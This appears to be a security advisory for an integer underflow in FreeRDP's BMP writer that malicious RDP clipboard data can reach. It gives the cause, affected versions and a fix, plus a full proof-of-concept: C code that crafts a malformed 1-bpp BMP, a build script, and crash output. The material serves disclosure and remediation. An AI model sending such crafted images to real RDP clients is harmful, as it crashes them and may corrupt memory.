Integer Underflow (Wrap or Wraparound) and Out-of-bounds Write in FreeRDP
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
FreeRDP's BMP writer computes a destination row as width * (bpp / 8), but its BMP parser computes sub-byte image strides using (bpp + 7) / 8 and four-byte alignment. A parsed 1x1 1-bpp BMP therefore has stride=4, while the writer calculates bpp_stride=0. The writer calls Stream_Zero(s, bpp_stride - stride), passing SIZE_MAX - 3 to the memory fill.
The condition is reachable through clipboard image conversion. A malicious RDP clipboard peer can advertise an image format and return BMP bytes; clipboard_synthesize_image_format_to_bmp uses content-based decoding and then invokes the affected BMP writer when the local side requests CF_DIB/CF_DIBV5.
The attached local-only reproducer builds the public 3.31.1 release in Debug mode. The real parser accepts the 58-byte input as bpp=1, stride=4, after which the writer aborts in Stream_Fill. The 32-bpp control succeeds and emits a 58-byte BMP. Availability is dynamically demonstrated. In a build where assertions do not terminate first, source analysis shows the underflow reaching a memory fill; confidentiality and integrity are therefore scored Low, but controlled corruption or code execution was not dynamically demonstrated.
The vulnerable subtraction was introduced by 32cc0f0927f03a29c92cf21b849889aeb35995aa; the first verified affected release is 3.14.1. It remains present in 3.31.1 and current master (839dcaf29fb24a71a000f5e957d59f4e42aa37f7).
Reproduction
Save the following two files in one directory, make run.sh executable, and run it. The script downloads and verifies the public 3.31.1 source archive, builds WinPR with assertions, runs the malformed image, and then runs the valid 32-bpp control.
<!-- BEGIN FILE: bmp_repro.c -->
#include <winpr/image.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void put16(BYTE* p, UINT16 value)
{
p[0] = (BYTE)value;
p[1] = (BYTE)(value >> 8);
}
static void put32(BYTE* p, UINT32 value)
{
p[0] = (BYTE)value;
p[1] = (BYTE)(value >> 8);
p[2] = (BYTE)(value >> 16);
p[3] = (BYTE)(value >> 24);
}
static int parsed_1bpp(void)
{
BYTE bmp[58] = { 0 };
bmp[0] = 'B';
bmp[1] = 'M';
put32(&bmp[2], sizeof(bmp));
put32(&bmp[10], 54);
put32(&bmp[14], 40);
put32(&bmp[18], 1);
put32(&bmp[22], 1);
put16(&bmp[26], 1);
put16(&bmp[28], 1);
put32(&bmp[34], 4);
bmp[54] = 0x80;
wImage* image = winpr_image_new();
if (!image)
return 2;
const int rc = winpr_image_read_buffer(image, bmp, sizeof(bmp));
printf("parsed read_rc=%d width=%u height=%u bpp=%u stride=%u\n", rc, image->width,
image->height, image->bitsPerPixel, image->scanline);
fflush(stdout);
if (rc < 0)
return 3;
size_t output_size = 0;
void* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);
printf("parsed output=%p output_size=%zu\n", output, output_size);
free(output);
winpr_image_free(image, TRUE);
return 0;
}
static int control_32bpp(void)
{
wImage* image = winpr_image_new();
if (!image)
return 2;
image->width = 1;
image->height = 1;
image->bitsPerPixel = 32;
image->bytesPerPixel = 4;
image->scanline = 4;
image->data = calloc(4, 1);
if (!image->data)
return 2;
size_t output_size = 0;
void* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);
printf("control bpp=32 stride=4 output=%s output_size=%zu\n", output ? "non-null" : "null",
output_size);
free(output);
winpr_image_free(image, TRUE);
return output_size == 58 ? 0 : 4;
}
int main(int argc, char** argv)
{
if ((argc == 2) && (strcmp(argv[1], "parsed") == 0))
return parsed_1bpp();
if ((argc == 2) && (strcmp(argv[1], "control") == 0))
return control_32bpp();
fprintf(stderr, "usage: %s parsed|control\n", argv[0]);
return 1;
}<!-- END FILE: bmp_repro.c -->
<!-- BEGIN FILE: run.sh -->
#!/bin/sh
set -eu
VERSION=3.31.1
ARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK_DIR=${WORK_DIR:-"$BASE_DIR/.build"}
ARCHIVE="$WORK_DIR/$VERSION.tar.gz"
SOURCE="$WORK_DIR/FreeRDP-$VERSION"
BUILD="$WORK_DIR/build"
mkdir -p "$WORK_DIR"
if [ ! -f "$ARCHIVE" ]; then
curl -fL --retry 3 -o "$ARCHIVE" \
"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz"
fi
printf '%s %s\n' "$ARCHIVE_SHA256" "$ARCHIVE" | sha256sum -c -
rm -rf "$SOURCE" "$BUILD"
tar -xzf "$ARCHIVE" -C "$WORK_DIR"
if command -v cmake >/dev/null 2>&1; then
CMAKE=cmake
else
CMAKE="python3 -m cmake"
fi
$CMAKE -S "$SOURCE" -B "$BUILD" \
-DCMAKE_BUILD_TYPE=Debug \
-DWITH_KRB5=OFF -DWITH_UNICODE_BUILTIN=ON \
-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \
-DWITH_VIDEO_FFMPEG=OFF -DWITH_CAIRO=OFF -DWITH_X11=OFF -DWITH_FUSE=OFF \
-DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \
-DWITH_MANPAGES=OFF -DWITH_SAMPLE=OFF -DWITH_TESTING=OFF \
-DWITH_JPEG=OFF -DWITH_WEBP=OFF -DWITH_PNG=OFF \
"$@"
$CMAKE --build "$BUILD" --target winpr -j2
cc -g -O0 \
-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
-I"$BUILD/include" -I"$BUILD/winpr/include" \
"$BASE_DIR/bmp_repro.c" -o "$WORK_DIR/bmp_repro" \
-L"$BUILD/winpr/libwinpr" -Wl,-rpath,"$BUILD/winpr/libwinpr" \
-lwinpr3 -lpthread
set +e
"$WORK_DIR/bmp_repro" parsed >"$WORK_DIR/positive.txt" 2>&1
positive_rc=$?
set -e
cat "$WORK_DIR/positive.txt"
printf 'positive_exit=%s\n' "$positive_rc"
"$WORK_DIR/bmp_repro" control | tee "$WORK_DIR/control.txt"
printf 'control_exit=0\n'
test "$positive_rc" -ne 0
grep -q 'parsed read_rc=1 width=1 height=1 bpp=1 stride=4' "$WORK_DIR/positive.txt"
grep -q 'control bpp=32 stride=4 output=non-null output_size=58' "$WORK_DIR/control.txt"<!-- END FILE: run.sh -->
Observed output (addresses and backtrace frames omitted):
3.31.1.tar.gz: OK parsed read_rc=1 width=1 height=1 bpp=1 stride=4 [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= (_n))) [.../winpr/include/winpr/stream.h:Stream_Fill:1235] Aborted (core dumped) positive_exit=134 control bpp=32 stride=4 output=non-null output_size=58 control_exit=0
Suggested fix
Calculate packed bytes as (width * bpp + 7) / 8, with checked arithmetic, before four-byte alignment. Reject any image where the supplied stride exceeds the validated destination stride, and reserve capacity for all source bytes plus padding before writing. Add 1-bpp and 4-bpp parser- to-writer and clipboard-synthesis regression tests under assertions and sanitizers.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.14.1GitHub